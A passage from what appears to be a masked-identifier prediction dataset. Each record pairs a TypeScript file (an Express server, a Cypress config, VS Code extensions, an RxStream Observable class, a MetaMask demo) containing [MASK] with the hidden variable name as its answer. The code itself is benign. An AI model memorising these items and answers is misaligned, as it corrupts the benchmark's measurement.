    fetchJson(""json/Railways.json"", (objs:any[])=>{
        railways = objs.map(x => new Railway(x));
    });

    fetchJson(""json/Stations.json"", getStations);

    fetchJson(""json/TrainTimetable.json"", getTrainTimetables);

    const timerId = setInterval(function(){
        if(operators == undefined || railways == undefined || stations == undefined || ! timetableReady){
            return;
        }

        clearInterval(timerId);

        canvasDrawable = new CanvasDrawable(cnvMap);

        var webGlCanvas = document.getElementById(""webgl-canvas"") as HTMLCanvasElement;
    
        mygpgpu = CreateGPGPU(webGlCanvas, ui);

        drawStations(false);
        timeDrawable = new Points(timePoints, Color.red, 5);

        mygpgpu.startDraw3D([ 
            canvasDrawable,
            timeDrawable
        ]);
    }, 100);

    cnvMap = document.getElementById(""canvas-map"") as HTMLCanvasElement;
    cnvSize = new Vec2(cnvMap.width, cnvMap.height);
    ctx = cnvMap.getContext('2d');
    
    // getData(""odpt:Station?odpt:operator=odpt.Operator:Keio&"", getStations);


    const inputs = document.getElementsByTagName(""input"");
    const buttons = Array.from(inputs).filter(x => x.type==""button"");
    for(let button of buttons){
        button.onclick = btnClick;
    }
}    

function paramOnClick(){
    const text = (document.getElementById(""txt-param"") as HTMLInputElement).value;
    getData(text);
}

function btnClick(){
    const src = window.event.srcElement as HTMLInputElement;
    getData(src.value);
}    
",scaleW
778,"import * as os from 'os';
import { SystemPackages } from '@snyk/composer-lockfile-parser';

import * as cmds from './composer-cmds';
import { PhpOptions } from './types';

function isSet( [MASK] ): boolean {
  return typeof  [MASK]  !== 'undefined';
}

export function systemDeps(basePath: string, options: PhpOptions): SystemPackages {
  const composerOk = isSet(options.composerIsFine) ? options.composerIsFine : cmds.cmdReturnsOk(cmds.composerCmd);
  const composerPharOk = isSet(options.composerPharIsFine) ?
    options.composerPharIsFine : cmds.cmdReturnsOk(cmds.pharCmd);

  let finalVersionsObj = {};

  if (options.systemVersions && (Object.keys(options.systemVersions).length > 0)) {
    // give first preference to a stub
    finalVersionsObj = options.systemVersions;
  } else if (composerOk) {
    const lines = cmds.execWithResult(cmds.composerShowCmd, basePath).split(os.EOL);
    lines.forEach((line) => {
      const [part1, part2] = line.split(/\s+/);
      if (part2) {
        finalVersionsObj[part1] = part2;
      }
    });
  } else if (composerPharOk) {
    const output = cmds.execWithResult(cmds.pharCmd, basePath);
    const versionsObj = JSON.parse(output).platform;
    versionsObj.forEach(({name, version}) => {
      finalVersionsObj[name] = version;
    });
  } else {
    // TODO: tell the user we are not reporting accurately system versions, so some version info may not be exact
  }

  return finalVersionsObj;
}
",variable
779,"/*
 * Copyright (c) 2017 by The RxStream Project Developers.
 * Some rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
import NowObservable from ""./internal/builders/NowObservable""
import ObservableInstance from ""./internal/ObservableInstance""
import RangeObservable from ""./internal/builders/RangeObservable""
import { Scheduler, Cancelable, IO, Future, Eval } from ""funfix""
import LoopObservable from ""./internal/builders/LoopObservable""
import OperatorsMixin from ""./internal/mixins/OperatorsMixin""
import EmptyObservable from ""./internal/builders/EmptyObservable""
import ArrayObservable from ""./internal/builders/ArrayObservable""
import NeverObservable from ""./internal/builders/NeverObservable""
import EvalAlwaysObservable from ""./internal/builders/EvalAlwaysObservable""
import RepeatEvalObservable from ""./internal/builders/RepeatEvalObservable""
import EvalOnceObservable from ""./internal/builders/EvalOnceObservable""
import { Subscriber } from ""./Reactive""
import CreateObservable from ""./internal/builders/CreateObservable""
import TaskAsObservable from ""./internal/builders/TaskAsObservable""

applyMixins(ObservableInstance, [OperatorsMixin])

/**
 * https://github.com/monix/monix/blob/master/monix-reactive/shared/src/main/scala/monix/reactive/Observable.scala
 */
export abstract class Observable<T> extends ObservableInstance<T> {

  static empty<A>(): Observable<A> {
    return new EmptyObservable<A>()
  }

  static pure<A>(value: A): Observable<A> {
    return new NowObservable(value)
  }

  static now<A>(value: A): Observable<A> {
    return new NowObservable(value)
  }

  static range(from: number, until: number, step: number = 1, scheduler?: Scheduler): Observable<number> {
    return new RangeObservable(from, until, step, scheduler || Scheduler.global.get())
  }

  static loop(scheduler?: Scheduler): Observable<number> {
    return new LoopObservable(scheduler || Scheduler.global.get())
  }

  static items<A>(...items: Array<A>): Observable<A> {
    return new ArrayObservable(items, Scheduler.global.get())
  }

  static fromArray<A>(arr: Array<A>, scheduler?: Scheduler): Observable<A> {
    return new ArrayObservable(arr, scheduler || Scheduler.global.get())
  }

  static never<A>(): Observable<A> {
    return NeverObservable
  }

  static eval<A>(fn: () => A): Observable<A> {
    return new EvalAlwaysObservable(fn)
  }

  static evalOnce<A>(fn: () => A): Observable<A> {
    return new EvalOnceObservable(fn)
  }

  static repeatEval<A>(fn: () => A): Observable<A> {
    return new RepeatEvalObservable(fn)
  }

  static create<A>(fn: (s: Subscriber.Sync<A>) => Cancelable): Observable<A> {
    return new CreateObservable(fn)
  }

  static fromTask<A>( [MASK] : IO<A>): Observable<A> {
    return new TaskAsObservable( [MASK] )
  }

  static fromFuture<A>(factory: () => Future<A>): Observable<A> {
    return Observable.fromTask(IO.deferFuture(factory))
  }

  static fromEval<A>(value: Eval<A>): Observable<A> {
    return Observable.eval(() => value.get())
  }
}

function applyMixins(derivedCtor: any, baseCtors: any[]) {
  baseCtors.forEach(baseCtor => {
    Object.getOwnPropertyNames(baseCtor.prototype).forEach(name => {
      derivedCtor.prototype[name] = baseCtor.prototype[name]
    })
  })
}

export default Observable
",task
780,"import express from 'express';
import doctorOrders from './routes/doctorOrders.js';
import ncpdp from './routes/ncpdp.js';
const app = express();

import cors from 'cors';
import mongoose from 'mongoose';
import env from 'var';
import https from 'https';
import fs from 'fs';

//middleware and configurations
import bodyParser from 'body-parser';

main().catch(err => console.log(err));

async function main() {
  const port = env.BACKEND_PORT;

  const options: cors.CorsOptions = {
    origin: env.ALLOWED_ORIGIN
  };

  app.use(bodyParser.urlencoded({ extended: false }));
  app.use(cors(options));
  app.use('/doctorOrders', doctorOrders);
  app.use('/ncpdp', ncpdp);

  let  [MASK] : any = app;

  if (env.USE_HTTPS) {
    console.log('Enabling HTTPS');
    const credentials = {
      key: fs.readFileSync(env.HTTPS_KEY_PATH),
      cert: fs.readFileSync(env.HTTPS_CERT_PATH)
    };
     [MASK]  = https.createServer(credentials, app);
  }

   [MASK] .listen(port, () => console.log(`Listening on port ${port}`));

  const mongoHost = env.MONGO_URL;

  await mongoose.connect(mongoHost, {
    authSource: env.AUTH_SOURCE,
    user: env.MONGO_USERNAME,
    pass: env.MONGO_PASSWORD
  });
}
",server
781,"import {
  convert,
  parseProviderRequirements,
  getTerraformConfigFromDir,
} from ""@cdktf/hcl2cdk"";
import * as hcl2cdk from ""@cdktf/hcl2cdk"";
import {
  readSchema,
  ConstructsMakerProviderTarget,
} from ""@cdktf/provider-generator"";

import { parse, convertFiles } from ""@cdktf/hcl2json"";
import { LANGUAGES, TerraformProviderConstraint } from ""@cdktf/commons"";

export class CdkService {
  public async convert2Cdk(hcl: string): Promise<string> {
    const ts = await convert(hcl, {
      language: ""typescript"",
      providerSchema: {},
    });
    return ts.all;
  }

  public async Dir2Cdk(path: string) {
    const hcl = await getTerraformConfigFromDir(path);
    const provider = await parseProviderRequirements(hcl);
    const  [MASK]  = Object.entries(provider).map(([name, version]) => {
      return ConstructsMakerProviderTarget.from(
        new TerraformProviderConstraint(`${name}@ ${version}`),
        LANGUAGES[0]
      );
    });

    // Get all the provider schemas, making the conversion more precise
    const { providerSchema } = await readSchema( [MASK] );

    if (providerSchema == undefined) {
      throw new Error(""error provider schema is undefined"");
    }

    await hcl2cdk.convertProject(hcl, {
      language: ""typescript"",
      providerSchema: providerSchema,
    });
  }

  public async convert2Json(hcl: string): Promise<string> {
    const json = await parse(""conver.tf"", hcl);
    return JSON.stringify(json);
  }

  public async Dir2Json(path: string): Promise<string> {
    const json = await convertFiles(path);
    return JSON.stringify(json);
  }
}
",targets
782,"import { ethers } from ""ethers"";

type AccountsType = string[] | [] | undefined;
const STR_CONTRACT_ADDRESS = ""0x5fbdb2315678afecb367f032d93f642f64180aa3"";
const ARR_CONTRACT_INTERFACE = [
  ""function hello() public pure returns (string memory)"",
];

/**
 * @description get instance of ethereum MetaMask
 * @returns {Object} MetaMask object
 */
export const getEth = (): Record<string, any> => {
  const eth = (window as Record<string, any>).ethereum;
  if (!eth) {
    throw new Error(
      ""Get MetaMask extension and set your account. at: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn?hl=en""
    );
  }

  return eth;
};

/**
 * @description does it have any accounts
 * @returns {Promise<Boolean>} resolving to boolean whether it has or not
 */
export const hasAccounts = async () => {
  const eth = getEth();
  const accounts: AccountsType = await eth.request({
    method: ""eth_accounts"",
  });

  return !!accounts && !!accounts.length;
};

/**
 * @description does it have any request accounts
 * @returns {Promise<Boolean>} resolving to boolean whether it has or not
 */
export const hasRequestAccounts = async () => {
  const eth = getEth();
  const accounts: AccountsType = await eth.request({
    method: ""eth_requestAccounts"",
  });

  return !!accounts && !!accounts.length;
};

/**
 * @description run the contract
 * @returns {Promise<undefined>} spins up the contract via the Metamask API
 */
export const run = async () => {
  const  [MASK]  = await hasAccounts();
  const bHasReqAccounts = await hasRequestAccounts();

  if (! [MASK]  && !bHasReqAccounts) {
    throw new Error(""Please, check you have the accounts"");
  }

  const helloWorld = new ethers.Contract(
    STR_CONTRACT_ADDRESS,
    ARR_CONTRACT_INTERFACE,
    new ethers.providers.Web3Provider(getEth())
  );

  const strGeneratedResponse = await helloWorld.hello();

  document.body.innerHTML = strGeneratedResponse;
};

run();
",bHasAccounts
783,"import { defineConfig } from 'cypress';
import * as fs from 'fs-extra';
import * as glob from 'glob';
const { mergeLaunches } = require('@reportportal/agent-js-cypress/lib/mergeLaunches');
const registerReportPortalPlugin = require('@reportportal/agent-js-cypress/lib/plugin');
const { beforeRunHook, afterRunHook } = require('cypress-mochawesome-reporter/lib');
function deleteLaunchFiles() {
  const getLaunchTempFiles = () => {
    return glob.sync('rplaunch*.tmp');
  };
  const deleteTempFile = (filename) => {
    fs.unlinkSync(filename);
  };
  const files = getLaunchTempFiles();
  files.forEach(deleteTempFile);
}

export default defineConfig({
  defaultCommandTimeout: 40000,
  execTimeout: 150000,
  pageLoadTimeout: 90000,
  requestTimeout: 15000,
  responseTimeout: 15000,
  animationDistanceThreshold: 20,
  chromeWebSecurity: false,
  viewportWidth: 1920,
  viewportHeight: 1080,
  reporter: 'cypress-multi-reporters',
  reporterOptions: {
    reporterEnabled:
      'cypress-mochawesome-reporter, spec, mocha-junit-reporter, @reportportal/agent-js-cypress',
    mochaJunitReporterReporterOptions: {
      mochaFile: 'cypress/junit-[hash].xml',
    },
    reportportalAgentJsCypressReporterOptions: {
      endpoint: 'https://reportportal-appstudio-qe.apps.ocp-c1.prod.psi.redhat.com/api/v1',
      token: 'xxx',
      launch: 'hac-dev-pr-check',
      project: 'hac-dev',
      description: 'HAC dev e2e test suite',
      debug: true,
      isLaunchMergeRequired: true,
    },
    cypressMochawesomeReporterReporterOptions: {
      charts: true,
      embeddedScreenshots: false,
      ignoreVideos: true,
      reportDir: 'cypress',
      inlineAssets: true,
    },
  },
  e2e: {
    supportFile: 'support/commands/index.ts',
    specPattern: 'tests/*.spec.ts',
    testIsolation: false,
    excludeSpecPattern:
      process.env.CYPRESS_PERIODIC_RUN || process.env.GH_COMMENTBODY?.toLowerCase() === '[test]'
        ? 'tests/*-private-git-*' // TODO: remove once https://issues.redhat.com/browse/RHTAPBUGS-111 is resolved
        : 'tests/{advanced-happy-path*,private-basic*,*-private-git-*}',
    setupNodeEvents(on, config) {
      require('cypress-mochawesome-reporter/plugin')(on);

      const logOptions = {
        outputRoot: `${config.projectRoot}/cypress`,
        outputTarget: {
          'cypress-log.txt': 'txt',
        },
        printLogsToFile: 'always',
      };
      require('cypress-terminal-report/src/installLogsPrinter')(on, logOptions);

      on('task', {
        log(message) {
          // eslint-disable-next-line no-console
          console.log(message);
          return null;
        },
        logTable(data) {
          // eslint-disable-next-line no-console
          console.table(data);
          return null;
        },
        readFileIfExists(filename: string) {
          if (fs.existsSync(filename)) {
            return fs.readFileSync(filename, 'utf8');
          }
          return null;
        },
        deleteFile(filename: string) {
          if (fs.existsSync(filename)) {
            fs.unlinkSync(filename);
          }
          return null;
        },
      });

      on('before:run', async (details) => {
        // cypress-mochawesome-reporter
        await beforeRunHook(details);
      });

      // workaround for report portal runs not finishing
      on('after:run', async () => {
        // cypress-mochawesome-reporter
        await afterRunHook();

        if (config.env.PR_CHECK === true) {
          let retries = 10;
          console.log('Wait for reportportal agent to finish...');
          while (glob.sync('rplaunchinprogress*.tmp').length > 0) {
            if (retries < 1) {
              console.log('reportportal agent timed out after 20s');
              return;
            }
            retries--;
            await new Promise((res) => setTimeout(res, 2000));
          }
          console.log('reportportal agent finished');

          if (
            config.reporterOptions.reportportalAgentJsCypressReporterOptions.isLaunchMergeRequired
          ) {
            try {
              console.log('Merging launches...');
              await mergeLaunches(config.reporterOptions.reportportalAgentJsCypressReporterOptions);
              console.log('Launches successfully merged!');
              deleteLaunchFiles();
            } catch (mergeError: unknown) {
              console.error(mergeError);
            }
          }
        }
      });

      const  [MASK] : { [key: string]: string | boolean } = {
        HAC_BASE_URL: 'https://prod.foo.redhat.com:1337/preview/application-pipeline',
        USERNAME: '',
        PASSWORD: '',
        GH_USERNAME: 'hac-test',
        GH_PASSWORD: '',
        GH_TOKEN: '',
        GH_SETUP_KEY: '',
        KUBECONFIG: '~/.kube/appstudio-config',
        CLEAN_NAMESPACE: 'false',
        PR_CHECK: false,
        PERIODIC_RUN: false,
        resolution: 'high',
        REMOVE_APP_ON_FAIL: false,
        SNYK_TOKEN: '',
        SSO_URL: 'https://sso.redhat.com/auth/',
      };

      for (const key in  [MASK] ) {
        if (!config.env[key]) {
          config.env[key] =  [MASK] [key];
        }
      }

      if (config.env.GH_TOKEN == '') {
        throw new Error('GH_TOKEN variable needs to be set to run a test.');
      }

      config.env.HAC_WORKSPACE = config.env.USERNAME.toLowerCase();
      config.env.HAC_NAMESPACE = `${config.env.HAC_WORKSPACE}-tenant`;

      if (
        config.env.PR_CHECK === true &&
        config.reporterOptions.reportportalAgentJsCypressReporterOptions
      ) {
        config.reporterOptions.reportportalAgentJsCypressReporterOptions.token =
          config.env.RP_TOKEN;
        config.reporterOptions.reportportalAgentJsCypressReporterOptions.description = `${config.env.GH_PR_TITLE}\n${config.env.GH_PR_LINK}`;
        registerReportPortalPlugin(on, config);
      } else {
        const reporters = (config.reporterOptions.reporterEnabled as string)
          .split(',')
          .filter((value) => {
            return !value.includes('@reportportal/agent-js-cypress');
          });
        config.reporterOptions.reporterEnabled = reporters.join(',');
      }
      require('cypress-high-resolution')(on, config);
      return config;
    },
  },
});
",defaultValues
784,"/* eslint-disable @typescript-eslint/no-unused-vars */
import {
  Uri,
  languages,
  workspace,
  window,
  ExtensionContext,
  commands,
  Diagnostic,
  Range,
  TextDocument,
  ProgressLocation,
  CodeActionContext,
  CancellationToken,
  CodeActionProvider,
  CodeActionKind,
  CodeAction,
  WorkspaceEdit,
  Selection,
} from ""vscode"";
import { MergeAdvpl } from ""./merge"";
import {
  ValidaAdvpl,
  Fonte,
  ValidaProjeto,
  ProjectStatus,
} from ""advpl-lint/lib/src"";
import { ItemModel } from ""advpl-lint/lib/src/models/ItemProject"";
import {
  formattingEditProvider,
  rangeFormattingEditProvider,
} from ""./formatting"";
import * as i18n from ""i18n"";
import { Cache } from ""advpl-lint/lib/src/cache"";

const vscodeOptions = JSON.parse(
  process.env.VSCODE_NLS_CONFIG
).locale.toLowerCase();
const locales = [""en"", ""pt-br""];
const i18nConfig = {
  locales: locales,
  directory: __dirname + ""\\locales"",
};

//Cria um colection para os erros ADVPL
const collection = languages.createDiagnosticCollection(""advpl"");

let runningFiles: string[] = [];

let projeto: ValidaProjeto;
let listaURI: Uri[] = [];
let comentFontPad: string[] = workspace
  .getConfiguration(""advpl-sintaxe"")
  .get(""comentFontPad"") as string[];
if (!comentFontPad) {
  comentFontPad = [""""];
  window.showInformationMessage(
    localize(""extension.noCritizeComment"", ""Do not critize coments!"")
  );
}

const validaAdvpl = new ValidaAdvpl(
  comentFontPad,
  vscodeOptions,
  undefined,
  false
);
validaAdvpl.ownerDb = workspace
  .getConfiguration(""advpl-sintaxe"")
  .get(""ownerDb"");
validaAdvpl.empresas = workspace
  .getConfiguration(""advpl-sintaxe"")
  .get(""empresas"");

if (!validaAdvpl.ownerDb) {
  validaAdvpl.ownerDb = [];
}
if (!validaAdvpl.empresas) {
  validaAdvpl.empresas = [];
}

// this method is called when your extension is activated
// your extension is activated the very first time the command is executed
export function activate(context: ExtensionContext): any {
  window.showInformationMessage(
    localize(""extension.activeMessage"", ""Active ADVPL Validation!"")
  );
  workspace.onDidChangeTextDocument(validaFonte);
  workspace.onDidOpenTextDocument(validaFonte);
  workspace.onDidSaveTextDocument(validaFonte);
  window.onDidChangeTextEditorSelection(validaAdvpl as any);

  //Adiciona comando de envia para Validação
  context.subscriptions.push(
    commands.registerCommand(""advpl-sintaxe.gitValidacao"", () => {
      const mergeAdvpl = new MergeAdvpl();
      const branchAtual = mergeAdvpl.repository.headLabel;

      mergeAdvpl
        .merge(mergeAdvpl.branchTeste)
        .then(() => {
          mergeAdvpl.repository.checkout(branchAtual);
          validaProjeto();
        })
        .catch((erro: string) => {
          window.showErrorMessage(erro);
          mergeAdvpl.repository.checkout(branchAtual);
          // validaProjeto();
        });
    })
  );
  //Adiciona comando de envia para Release
  context.subscriptions.push(
    commands.registerCommand(""advpl-sintaxe.gitRelease"", () => {
      const mergeAdvpl = new MergeAdvpl();
      const branchAtual = mergeAdvpl.repository.headLabel;

      mergeAdvpl
        .merge(mergeAdvpl.branchHomol)
        .then(() => {
          mergeAdvpl.repository.checkout(branchAtual);
          validaProjeto();
        })
        .catch((erro: string) => {
          window.showErrorMessage(erro);
          mergeAdvpl.repository.checkout(branchAtual);
          // validaProjeto();
        });
    })
  );
  //Adiciona comando de envia para master
  context.subscriptions.push(
    commands.registerCommand(""advpl-sintaxe.gitMaster"", () => {
      const mergeAdvpl = new MergeAdvpl();
      const branchAtual = mergeAdvpl.repository.headLabel;

      mergeAdvpl
        .merge(mergeAdvpl.branchProdu)
        .then(() => {
          mergeAdvpl.repository.checkout(branchAtual);
          validaProjeto();
        })
        .catch((erro: string) => {
          window.showErrorMessage(erro);
          mergeAdvpl.repository.checkout(branchAtual);
          // validaProjeto();
        });
    })
  );
  //Adiciona comando de análise de projeto
  context.subscriptions.push(
    commands.registerCommand(""advpl-sintaxe.validaProjeto"", () => {
      try {
        validaProjeto();
      } catch (e) {
        window.showInformationMessage(e.stdout);
      }
    })
  );

  //Adiciona comando de Atualiza Branch
  context.subscriptions.push(
    commands.registerCommand(""advpl-sintaxe.atualizaBranch"", () => {
      const mergeAdvpl = new MergeAdvpl();
      const branchAtual = mergeAdvpl.repository.headLabel;
      mergeAdvpl
        .atualiza()
        .then((message: string) => {
          window.showInformationMessage(message);
          mergeAdvpl.repository.checkout(branchAtual);
          validaProjeto();
        })
        .catch((erro: string) => {
          window.showErrorMessage(erro);
          mergeAdvpl.repository.checkout(branchAtual);
          // validaProjeto();
        });
    })
  );

  languages.registerDocumentFormattingEditProvider(
    ""advpl"",
    formattingEditProvider()
  );

  languages.registerDocumentRangeFormattingEditProvider(
    ""advpl"",
    rangeFormattingEditProvider()
  );

  //Adiciona comando de limeza de branches
  context.subscriptions.push(
    commands.registerCommand(""advpl-sintaxe.cleanBranches"", () => {
      const mergeAdvpl = new MergeAdvpl();
      mergeAdvpl
        .limpaBranches()
        .then((message: string) => {
          window.showInformationMessage(message);
        })
        .catch((erro: string) => {
          window.showErrorMessage(erro);
        });
    })
  );

  /*
  context.subscriptions.push(
    languages.registerCodeActionsProvider(""advpl"", new ErrorFix(), {
      providedCodeActionKinds: ErrorFix.providedCodeActionKinds,
    })
  );
  */

  if (
    workspace.getConfiguration(""advpl-sintaxe"").get(""validaProjeto"") !== false
  ) {
    validaProjeto();
  } else {
    validaFonte(window.activeTextEditor);
  }
}
function validaFonte(editor: any) {
  return new Promise(() => {
    let document: TextDocument;

    //trata quando recebe o documento
    if (editor.languageId) {
      document = editor;
    } else if (editor && editor.document) {
      document = editor.document;
    }

    //verifica se a linguagem é ADVPL
    if (document && document.languageId === ""advpl"" && document.getText()) {
      let time: number = workspace
        .getConfiguration(""advpl-sintaxe"")
        .get(""tempoValidacao"") as number;
      if (!time || time === 0) {
        time = 5000;
      }

      // verifica se já está analisando esse fonte
      if (
        runningFiles.find((x) => {
          return document.uri.fsPath === x;
        })
      ) {
        return console.log(""Validação desse arquivo está em execução"");
      } else {
        runningFiles.push(document.uri.fsPath);
      }

      // verifica se tem algum cache
      const pastas: string[] = [];
      const workspaceFolders = workspace[""workspaceFolders""];
      workspaceFolders.forEach((path) => {
        pastas.push(path.uri.fsPath);
      });

      const pathProjectFile = pastas.find((x) => {
        return document.uri.fsPath.indexOf(x) >= 0;
      });

      if (
        pathProjectFile &&
        workspace.getConfiguration(""advpl-sintaxe"").get(""cache"") === true
      ) {
        validaAdvpl.cache = new Cache(pathProjectFile);
      } else {
        validaAdvpl.cache = undefined;
      }

      validaAdvpl
        .validacao(document.getText(), document.uri.fsPath)
        .finally(() => {
          // remove o arquivo
          runningFiles = runningFiles.filter((x) => {
            return document.uri.fsPath !== x;
          });

          // se valida projeto faz a validação se não somente atualiza o fonte atual
          if (
            workspace.getConfiguration(""advpl-sintaxe"").get(""validaProjeto"") !==
              false &&
            projeto
          ) {
            //verifica se o fonte já existe no projeto se não adiciona
            const pos = projeto.projeto.map(function (e) {
              return getUri(e.fonte.fonte).fsPath;
            });
            const posicao = pos.indexOf(document.uri.fsPath);
            const itemProjeto = new ItemModel();
            itemProjeto.hash = validaAdvpl.hash;
            itemProjeto.errors = validaAdvpl.aErros;
            itemProjeto.fonte = validaAdvpl.fonte;

            if (posicao === -1) {
              projeto.projeto.push(itemProjeto);
            } else {
              projeto.projeto[posicao] = itemProjeto;
            }

            projeto.verificaDuplicados().then(() => {
              // atualiza os erros
              projeto.projeto.forEach((item: ItemModel) => {
                const fonte: Fonte = item.fonte;
                const file = getUri(fonte.fonte);

                //Atualiza as mensagens do colection
                collection.delete(file);
                collection.set(file, errorVsCode(item.errors));
              });
            });
          } else {
            const file = getUri(validaAdvpl.fonte.fonte);

            //Atualiza as mensagens do colection
            collection.delete(file);
            collection.set(file, errorVsCode(validaAdvpl.aErros));
          }
        })
        .catch(() => {
          // remove o arquivo
          runningFiles = runningFiles.filter((x) => {
            return document.uri.fsPath !== x;
          });
        })
        .then(() => {
          // remove o arquivo
          runningFiles = runningFiles.filter((x) => {
            return document.uri.fsPath !== x;
          });
        });
    }
  });
}

function errorVsCode(aErros: any) {
  const vsErros: any = [];
  aErros.forEach((erro) => {
    vsErros.push(
      new Diagnostic(
        new Range(
          erro.startLine,
          erro.columnStart ? erro.columnStart : 0,
          erro.endLine,
          erro.columnEnd ? erro.columnEnd : 0
        ),
        erro.message,
        erro.severity
      )
    );
  });
  return vsErros;
}

function getUri(file: string): Uri {
  let uri: Uri;
  const fileName: string = file.replace(/\\/g, ""/"").toUpperCase();
  let listName: string;

  // busca o arquivo
  uri = Uri.file(file);

  // busca na lista de uri
  if (!uri) {
    listaURI.forEach((item: Uri) => {
      listName = item.path.replace(/\\/g, ""/"").toUpperCase();
      if (listName === fileName) {
        uri = item;
      }
    });
  }

  return uri;
}

function validaProjeto() {
  const _status = new ProjectStatus();

  window.withProgress(
    {
      location: ProgressLocation.Notification,
      title: ""Validando Projeto!"",
      cancellable: true,
    },
    (progress, token) => {
      token.onCancellationRequested(() => {
        console.log(""Validação Cancelada!"");
      });
      let increment = 0;

      _status._changeEmmit = () => {
        if (_status._atual) {
          let _increment = Math.round((_status._atual / _status._total) * 10);
          _increment = _increment * 10;
          if (_increment !== increment) {
            progress.report({
              increment: _increment - increment,
            });

            increment = _increment;
          }
        }
      };
      return _validaProjeto(_status);
    }
  );
}

function _validaProjeto(_status: ProjectStatus): Promise<any> {
  return new Promise((resolve) => {
    // prepara o objeto de validação
    const projeto: ValidaProjeto = new ValidaProjeto(
      validaAdvpl.comentFontPad,
      vscodeOptions,
      undefined,
      workspace.getConfiguration(""advpl-sintaxe"").get(""cache"") === true
    );

    projeto.empresas = validaAdvpl.empresas;
    projeto.ownerDb = validaAdvpl.ownerDb;
    projeto.local = vscodeOptions;

    const pastas: string[] = [];
    const workspaceFolders = workspace[""workspaceFolders""];
    workspaceFolders.forEach((path) => {
      pastas.push(path.uri.fsPath);
    });
    projeto
      .validaProjeto(pastas, _status)
      .finally(() => {
        try {
          // console.log('foi');
          // se for validar o projeto limpa todas as críticas dos arquivos
          listaURI.forEach((uri: Uri) => {
            collection.delete(uri);
          });
        } catch (e) {
          window.showErrorMessage(
            ""Ocorreu um erro na limpeza de críticas!\n"" + JSON.stringify(e)
          );
        }
        listaURI = [];
        projeto.projeto.forEach((item: ItemModel) => {
          try {
            const fonte: Fonte = item.fonte;
            const file = getUri(fonte.fonte);

            listaURI.push(file);

            //Atualiza as mensagens do colection
            collection.set(file, errorVsCode(item.errors));
          } catch (e) {
            window.showErrorMessage(
              `Ocorreu um erro na adição de erros do fonte ${item.fonte.fonte} !\n` +
                JSON.stringify(e)
            );
          }
        });
        resolve(undefined);
      })
      .catch((erro) => {
        window.showErrorMessage(
          ""Ocorreu um erro na validação "" + JSON.stringify(erro)
        );
        resolve(undefined);
      })
      .then(() => {
        resolve(undefined);
      });
  });
}

/**
 * Provides code actions for converting :) to a smiley emoji.
 */
export class ErrorFix implements CodeActionProvider {
  public static readonly providedCodeActionKinds = [CodeActionKind.QuickFix];
  document: TextDocument;
  range: Range | Selection;
  context: CodeActionContext;
  token: CancellationToken;

  public provideCodeActions(
    document: TextDocument,
    range: Range | Selection,
    context: CodeActionContext,
    token: CancellationToken
  ): CodeAction[] | undefined {
    this.document = document;
    this.range = range;
    this.context = context;
    this.token = token;

    const  [MASK]  = [];
    // trata cado tipo de erro
    //validaAdvpl.deprecated
    if (
      context.diagnostics.find((x) => {
        return x.message === ""validaAdvpl.deprecated"";
      })
    ) {
       [MASK] .push(this.createFix(""Trocar por nova função"", ""TESTE""));
    }

    //validaAdvpl.conout
    if (
      context.diagnostics.find((x) => {
        return x.message === ""validaAdvpl.conout"";
      })
    ) {
       [MASK] .push(this.createFix(""Trocar por nova função"", ""TESTE""));
    }

    return  [MASK] ;
  }

  private createFix(message, newValue: string): CodeAction {
    // trata cada forma de correção
    const fix = new CodeAction(message, CodeActionKind.QuickFix);
    fix.edit = new WorkspaceEdit();
    fix.edit.replace(
      this.document.uri,
      new Range(this.range.start, this.range.end),
      newValue
    );
    return fix;
  }
}

export function localize(key: string, text?: string): string {
  i18n.configure(i18nConfig);
  i18n.setLocale(locales.indexOf(vscodeOptions) + 1 ? vscodeOptions : ""en"");
  //console.log(vscodeOptions);
  //console.log(text);
  //console.log(key);
  //console.log(i18n.__(key));
  return i18n.__(key) ? i18n.__(key) : text;
}
",opcoes
785,"/*
  Copyright 2020-2024 Lowdefy, Inc

  Licensed under the Apache License, Version 2.0 (the ""License"");
  you may not use this file except in compliance with the License.
  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an ""AS IS"" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
*/

import * as vscode from 'vscode';

import getLowdefyProjectRoots from './utils/getLowdefyProjectRoots';
import AppTreeViewProvider from './views/AppTreeViewProvider';
import { RefLinkProvider } from './language/RefLinkProvider';

export async function activate(context: vscode.ExtensionContext) {
  await getLowdefyProjectRoots(context);
  const refProvider = new RefLinkProvider(context);
  const  [MASK]  = { language: 'yaml', scheme: 'file' };
  const disposable = vscode.languages.registerDocumentLinkProvider( [MASK] , refProvider);

  context.subscriptions.push(disposable);
  vscode.window.registerTreeDataProvider('lowdefyAppTree', new AppTreeViewProvider(context));
}

export function deactivate() {}
",selector
786,"import {
  ActionChecker,
  BuildActionChecker,
  HarvestActionChecker,
  RepairActionChecker,
  TransferActionChecker,
  UpgradeActionChecker,
  WithdrawActionChecker,
} from ""./checker"";
import {
  ActionExecutor,
  BuildActionExecutor,
  HarvestActionExecutor,
  RepairActionExecutor,
  TransferActionExecutor,
  UpgradeActionExecutor,
  WithdrawActionExecutor,
} from ""./executor"";

export default class ActionManager {
  public static init( [MASK]  = false): void {
    if (Memory.targets && ! [MASK] ) return;

    Memory.targets = {
      assigned: new Map(),
      idle: new Map(),
      available: {
        withdraw: new Map(),
        harvest: new Map(),
        upgrade: new Map(),
        repair: new Map(),
        build: new Map(),
        transfer: new Map(),
      },
    };
  }

  public static getChecker(action: ActionConstant): typeof ActionChecker {
    switch (action) {
      case ""build"":
        return BuildActionChecker;
      case ""harvest"":
        return HarvestActionChecker;
      case ""repair"":
        return RepairActionChecker;
      case ""transfer"":
        return TransferActionChecker;
      case ""upgrade"":
        return UpgradeActionChecker;
      case ""withdraw"":
        return WithdrawActionChecker;
      default:
        throw new Error(`[ERROR] Getting checker of unknown action: ${action}`);
    }
  }

  public static getExecutor(action: ActionConstant): typeof ActionExecutor {
    switch (action) {
      case ""build"":
